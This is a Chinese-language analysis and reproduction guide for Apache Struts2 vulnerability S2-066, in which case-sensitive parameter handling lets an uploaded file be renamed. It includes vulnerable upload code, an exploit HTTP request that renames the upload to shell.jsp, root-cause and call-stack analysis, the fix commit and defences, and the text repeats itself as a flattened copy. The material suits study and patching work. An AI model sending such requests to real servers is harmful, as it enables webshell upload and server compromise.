Struts2 S2-066漏洞浅析
字数 1410 2025-08-23 18:31:18

Struts2 S2-066漏洞分析与利用指南

漏洞概述

Struts2 S2-066是一个文件上传参数覆盖漏洞,影响Apache Struts2框架。该漏洞源于参数处理过程中大小写敏感性问题,导致攻击者可以通过精心构造的请求覆盖上传文件名,从而实现恶意文件上传。

环境搭建

方法一:使用官方showcase

下载地址:https://archive.apache.org/dist/struts/6.3.0/

方法二:使用IDEA Maven模板

  1. 使用IDEA创建Maven项目
  2. 选择Struts2模板直接生成项目结构

漏洞代码示例

package com.struts2;

import com.opensymphony.xwork2.ActionSupport;
import org.apache.commons.io.FileUtils;
import java.io.File;

public class UploadAction extends ActionSupport {
    private static final long serialVersionUID = 1L;
    private File upload;
    private String uploadContentType;
    private String uploadFileName;

    // Getter和Setter方法
    public File getUpload() { return upload; }
    public void setUpload(File upload) { this.upload = upload; }
    public String getUploadContentType() { return uploadContentType; }
    public void setUploadContentType(String uploadContentType) { this.uploadContentType = uploadContentType; }
    public String getUploadFileName() { return uploadFileName; }
    public void setUploadFileName(String uploadFileName) { this.uploadFileName = uploadFileName; }

    public String doUpload() {
        String path = "/tmp";
        String realPath = path + File.separator + uploadFileName;
        try {
            FileUtils.copyFile(upload, new File(realPath));
        } catch (Exception e) {
            e.printStackTrace();
        }
        return SUCCESS;
    }
}

漏洞复现

正常请求示例

POST /S2_066_demo_war_exploded/upload.action HTTP/1.1
Host: localhost:9098
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfCZX2JnRcn31usNI
Content-Length: 187

------WebKitFormBoundaryfCZX2JnRcn31usNI
Content-Disposition: form-data; name="upload"; filename="aaa.tx1t"
Content-Type: text/plain

xxx
------WebKitFormBoundaryfCZX2JnRcn31usNI--

漏洞利用请求

通过添加uploadFileName参数覆盖原始文件名:

POST /S2_066_demo_war_exploded/upload.action?uploadFileName=shell.jsp HTTP/1.1
Host: localhost:9098
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfCZX2JnRcn31usNI
Content-Length: 187

------WebKitFormBoundaryfCZX2JnRcn31usNI
Content-Disposition: form-data; name="Upload"; filename="aaa.tx1t"
Content-Type: text/plain

xxx
------WebKitFormBoundaryfCZX2JnRcn31usNI--

漏洞分析

关键点

  1. 参数处理流程

    • 请求参数被放入extraContext.parameters
    • 使用TreeMap存储参数,导致大小写敏感性问题
  2. 文件上传拦截器(FileUploadInterceptor)

    • 获取表单中的原始文件名
    • 生成fileNameName变量(格式为inputName + "FileName"
    • 将变量添加到action的param中
  3. 参数拦截器(ParametersInterceptor)

    • 处理请求参数并赋值给ActionContext
    • 使用TreeMap导致大写参数先处理,小写参数后处理
  4. 参数覆盖机制

    • 大写参数(如UploadFileName)先被处理
    • 小写参数(如uploadFileName)后被处理,覆盖之前的值
    • 最终uploadFileName成员变量被恶意值覆盖

调用栈分析

关键调用栈路径:

  1. Dispatcher.serviceAction - 初始化请求参数
  2. FileUploadInterceptor.intercept - 处理文件上传
  3. ParametersInterceptor.intercept - 处理普通参数
  4. OgnlUtil.setValue - 通过OGNL表达式赋值

漏洞利用条件

  1. Action类必须包含以下成员变量:

    private String uploadFileName; // 或其他符合命名规则的变量
    
  2. 文件保存路径必须使用成员变量拼接:

    String realPath = path + File.separator + uploadFileName;
    
  3. 参数命名规则必须符合以下两种格式之一:

    • UploadFileName
    • uploadFileName

漏洞修复

官方修复commit:
https://github.com/apache/struts/commit/162e29fee9136f4bfd9b2376da2cbf590f9ea163

主要修改了core/src/main/java/org/apache/struts2/dispatcher/HttpParameters.java中对大小写的处理逻辑。

防御措施

  1. 升级到修复版本
  2. 在文件上传逻辑中添加严格的文件名校验
  3. 避免直接使用用户输入拼接文件路径
  4. 实现白名单校验文件扩展名

扩展思考

  1. 其他参数覆盖可能性

    • 理论上可以覆盖任何通过类似机制赋值的参数
    • 需要符合特定的命名规则和大小写组合
  2. 实际应用场景

    • 绕过白名单上传限制
    • 实现目录穿越攻击
    • 上传WebShell等恶意文件

参考资源

  • https://y4tacker.github.io/2023/12/09/year/2023/12/Apache-Struts2-文件上传分析-S2-066/
  • Apache Struts官方安全公告
Struts2 S2-066漏洞分析与利用指南 漏洞概述 Struts2 S2-066是一个文件上传参数覆盖漏洞,影响Apache Struts2框架。该漏洞源于参数处理过程中大小写敏感性问题,导致攻击者可以通过精心构造的请求覆盖上传文件名,从而实现恶意文件上传。 环境搭建 方法一:使用官方showcase 下载地址:https://archive.apache.org/dist/struts/6.3.0/ 方法二:使用IDEA Maven模板 使用IDEA创建Maven项目 选择Struts2模板直接生成项目结构 漏洞代码示例 漏洞复现 正常请求示例 漏洞利用请求 通过添加 uploadFileName 参数覆盖原始文件名: 漏洞分析 关键点 参数处理流程 : 请求参数被放入 extraContext.parameters 中 使用 TreeMap 存储参数,导致大小写敏感性问题 文件上传拦截器(FileUploadInterceptor) : 获取表单中的原始文件名 生成 fileNameName 变量(格式为 inputName + "FileName" ) 将变量添加到action的param中 参数拦截器(ParametersInterceptor) : 处理请求参数并赋值给ActionContext 使用 TreeMap 导致大写参数先处理,小写参数后处理 参数覆盖机制 : 大写参数(如 UploadFileName )先被处理 小写参数(如 uploadFileName )后被处理,覆盖之前的值 最终 uploadFileName 成员变量被恶意值覆盖 调用栈分析 关键调用栈路径: Dispatcher.serviceAction - 初始化请求参数 FileUploadInterceptor.intercept - 处理文件上传 ParametersInterceptor.intercept - 处理普通参数 OgnlUtil.setValue - 通过OGNL表达式赋值 漏洞利用条件 Action类必须包含以下成员变量: 文件保存路径必须使用成员变量拼接: 参数命名规则必须符合以下两种格式之一: UploadFileName uploadFileName 漏洞修复 官方修复commit: https://github.com/apache/struts/commit/162e29fee9136f4bfd9b2376da2cbf590f9ea163 主要修改了 core/src/main/java/org/apache/struts2/dispatcher/HttpParameters.java 中对大小写的处理逻辑。 防御措施 升级到修复版本 在文件上传逻辑中添加严格的文件名校验 避免直接使用用户输入拼接文件路径 实现白名单校验文件扩展名 扩展思考 其他参数覆盖可能性 : 理论上可以覆盖任何通过类似机制赋值的参数 需要符合特定的命名规则和大小写组合 实际应用场景 : 绕过白名单上传限制 实现目录穿越攻击 上传WebShell等恶意文件 参考资源 https://y4tacker.github.io/2023/12/09/year/2023/12/Apache-Struts2-文件上传分析-S2-066/ Apache Struts官方安全公告